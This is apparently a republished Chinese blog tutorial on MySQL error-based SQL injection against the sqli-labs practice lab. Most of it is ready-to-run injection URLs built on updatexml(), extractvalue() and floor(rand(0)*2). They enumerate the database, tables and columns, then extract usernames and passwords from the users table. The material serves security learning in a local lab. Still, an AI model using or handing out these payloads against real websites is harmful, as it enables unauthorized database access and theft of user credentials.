zoukankan      html  css  js  c++  java
  • mysql报错注入

    1、报错注入攻击payload语法

    由于后台没有对数据库的报错信息做过滤,会输入到前台显示,那么我们可以利用制造报错函数(常用的几个函数updatexml(),extractvalue(),floor())进行渗透。

    报错注入流程:

      1、判断是否存在注入点

      2、构造错误的语法制造报错

      3、使用提示报错信息输出内容。

    updatexml()函数:

      xml可扩展标记语言,update()更新函数

      updatexml()函数具有查询功能的函数,由于查询

      语法:updatexml(xml_document,xpath_expr,new_value)

      xml_document:需要操作的xml片段

      xpath_expr:需要更新的xml路径

      new_value:更新后的内容

    我们只需将第二个参数,错误格式化即可

    concat():内容拼接  0x7e:构造错误的参数

    1、暴库
    http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(database())),1) --+
    2、爆表
    http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

    3、爆字段
    http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

    4、爆数据
    http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users)),1) --+

       

    extractvalue():

    语法:extractvale(xml_frag,xpath_expr)

    xml_frag:编辑片段

    xpath_expr:xpath表达式

    extractvalue()函数与updatexml()语法大致相同。

    1、爆库
    http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(database()))) --+

    2、爆表
    http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

    3、爆字段
    http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

    4、爆数据
    http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from security.users ))) --+

    floor():

    注:count():统计函数、concat():内容拼接、floor():向下取整、rand():随机数,这里rand(0)*2,表示随机生成0-1的浮点数、group by 分组

    爆库:
    http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat(database(), floor(rand(0)*2)) as a from information_schema.tables group by a)b) --+

    爆表:users
    http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b) --+

    爆字段:
    http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_schema='security' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b) --+

    爆数据:
    http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat('~',(select concat(username,";",password)from security.users limit 5,1) ,'~',floor(rand(0)*2)) as a from security.users group by a)b) --+

     

  • 相关阅读:
    初学设计模式【5】工厂方法模式——FactoryMethod
    Activity生命周期
    ACTIVITY状态保存
    初学设计模式【6】抽象工厂模式——AbstractFactory
    android Toast总结
    Android对话框总结
    【实用】无线调试android应用——ADB OVER NETWORK
    二分法求根与二分次数
    struts2__action执行顺序
    JDBC与Hibernate连接池
  • 原文地址:https://www.cnblogs.com/xiangbing123/p/12913891.html
Copyright © 2011-2022 走看看